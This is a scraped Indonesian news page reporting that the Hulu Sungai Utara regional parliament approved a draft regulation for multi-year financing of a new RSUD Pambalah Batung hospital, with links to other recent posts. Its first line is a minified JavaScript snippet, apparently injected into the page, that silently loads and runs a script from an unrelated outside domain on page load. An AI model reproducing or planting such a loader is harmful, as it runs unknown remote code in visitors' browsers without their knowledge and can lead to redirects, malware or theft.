(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

DPRD HSU Sepakati Raperda Pembangunan RSUD Pambalah Batung yang Baru


KANALKALIMANTAN.COM, AMUNTAI – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Hulu Sungai Utara (HSU) sepakat tetapkan Rancangan Peraturan Daerah (Raperda) sebagai dasar terkait tentang pembangunan Rumah Sakit Umum Daerah (RSUD) Pambalah Batung dengan pola pembiayaan tahun jamak.

Teddy Suryana mewakili semua fraksi di DPRD HSU menyampaikan, DPRD dapat menerima dan menyetujui Raperda ini untuk dilanjutkan ketahap berikutnya guna ditetapkan menjadi Peraturan Daerah Kabupaten HSU.

“Diharapkan diterimanya saran dan kritik yang di sampaikan fraksi-fraksi dan komisi-komisi yang ada di DPRD dapat diperhatikan dan ditindak lanjuti oleh pemerintah daerah khususnya sebagai teknis yang membidangi,” kata Teddy Suryana dalam rapat paripurna DPRD HSU, Senin (12/7/2021).

DPRD Kabupaten HSU akhirnya sepakat tetapkan Raperda pembangunan RSUD Pambalah Batung dengan pola pembiayaan tahun jamak. Foto: dew

 

 

Sementara itu, Bupati HSU H Abdul Wahid mengatakan, sebelum Raperda ditetapkan, terlebih dahulu akan disampaikan kepada Gubernur Kalimantan Selatan melalui Biro Hukum Pemerintah Provinsi Kalimantan Selatan untuk dimintakan nomor register Raperda.

“Rancangan peraturan daerah ini telah kami mintakan fasilitasi kepada Gubernur Kalimantan Selatan, dan telah mendapatkan hasil fasilitasi, sebagaimana surat Gubernur nomor 188.342/00995/kum/2021 tanggal 7 Juli,” jelas Bupati Wahid

Dari hasil fasilitasi tersebut, lanjutnya, judul Raperda yang diusulkan mengalami perubahan, semula dengan judul pembangunan Rumah Sakit Umum Daerah Pambalah Batung dengan pola pembiyaan tahun jamak diubah menjadi pembiayaan tahun jamak pembangunan Rumah Sakit Umum Daerah Pembalah Batung.

Sebagaimana diamanatkan dalam pasal 100 ayat 2 Permendagri nomor 80 tahun 2015 tentang pembentukan hukum daerah.

“Bupati wajib menyampaikan rancangan peraturan daerah kepada Gubernur sebagai wakil pemerintah pusat, paling lama terhitung 3 hari sejak menerima rancangan peraturan daerah yang belum mendapat nomor Register, tidak dapat ditetapkan dan tidak boleh diundangkan dalam lembaran daerah,” pungkasnya. (kanalkalimantan.com/dew)

Reporter: dew
Editor : bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.